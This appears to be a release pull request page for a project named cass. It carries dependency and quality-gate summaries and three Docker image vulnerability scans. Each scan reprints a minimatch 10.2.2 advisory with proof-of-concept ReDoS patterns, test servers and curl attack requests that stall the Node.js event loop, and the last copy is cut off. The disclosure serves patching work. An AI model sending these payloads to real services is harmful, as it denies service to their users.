Release: v1.6.15

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Automated release PR bumping the version and generating dependency updates. Review the changes and merge this PR into the major/minor target branch when you are ready to publish the Docker images.

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⚠️ Deprecation Warning: The deny-licenses option is deprecated for possible removal in the next major release. For more information, see issue 997.

Dependency Review

The following issues were found:

• ✅ 0 vulnerable package(s)
• ✅ 0 package(s) with incompatible licenses
• ✅ 0 package(s) with invalid SPDX license definitions
• ⚠️ 1 package(s) with unknown licenses.

See the Details below.

License Issues

.github/workflows/build.yml

Package	Version	License	Issue Type
github/codeql-action/init	3.*.*	Null	Unknown License

Denied Licenses:

GPL-1.0-or-later, LGPL-2.0-or-later

OpenSSF Scorecard

Package	Version	Score	Details
actions/github/codeql-action/init	3.*.*	Unknown	Unknown

Scanned Files

• .github/workflows/build.yml

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

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🔍 Vulnerabilities of cass-cass:latest

📦 Image Reference cass-cass:latest

digest	sha256:beefd66b4a944742f273a0b3bc56dd78a71efd2d3190907e69b4818388ce2acf
vulnerabilities
platform	linux/amd64
size	238 MB
packages	805

📦 Base Image node:24-bookworm-slim

also known as	24-slim 24.14-bookworm-slim 24.14-slim 24.14.0-bookworm-slim 24.14.0-slim krypton-bookworm-slim lts-bookworm-slim lts-slim
digest	sha256:b4687aef2571c632a1953695ce4d61d6462a7eda471fe6e272eebf0418f276ba
vulnerabilities

minimatch 10.2.2 (npm) pkg:npm/minimatch@10.2.2 Inefficient Regular Expression Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.045% EPSS Percentile 14th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

[github-actions]

🔍 Vulnerabilities of cass-cass-alpine:latest

📦 Image Reference cass-cass-alpine:latest

digest	sha256:5ef3c1f82892de06abefba9ee8375adcdddbc2c8619fce0bcad5c5d584b2f10e
vulnerabilities
platform	linux/amd64
size	176 MB
packages	662

📦 Base Image node:24-alpine

also known as	24-alpine3.23 24.14-alpine 24.14-alpine3.23 24.14.0-alpine 24.14.0-alpine3.23 krypton-alpine krypton-alpine3.23 lts-alpine lts-alpine3.23
digest	sha256:e9445c64ace1a9b5cdc60fc98dd82d1e5142985d902f41c2407e8fffe49d46a3
vulnerabilities

minimatch 10.2.2 (npm) pkg:npm/minimatch@10.2.2 Inefficient Regular Expression Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.045% EPSS Percentile 14th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

[github-actions]

🔍 Vulnerabilities of cass-cass-distroless:latest

📦 Image Reference cass-cass-distroless:latest

digest	sha256:34275d206fbecc6bfb8930aa7ec23f8fa1d514d8c710ff614d9a76beaf751608
vulnerabilities
platform	linux/amd64
size	97 MB
packages	649

📦 Base Image gcr.io/distroless/static-debian12:latest

digest	sha256:340ba156c899ddac5ba57c5188b8e7cd56448eb7ee65b280574465eac2718ad2
vulnerabilities

minimatch 10.2.2 (npm) pkg:npm/minimatch@10.2.2 Inefficient Regular Expression Complexity Affected range >=10.0.0 <10.2.3 Fixed version 10.2.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> 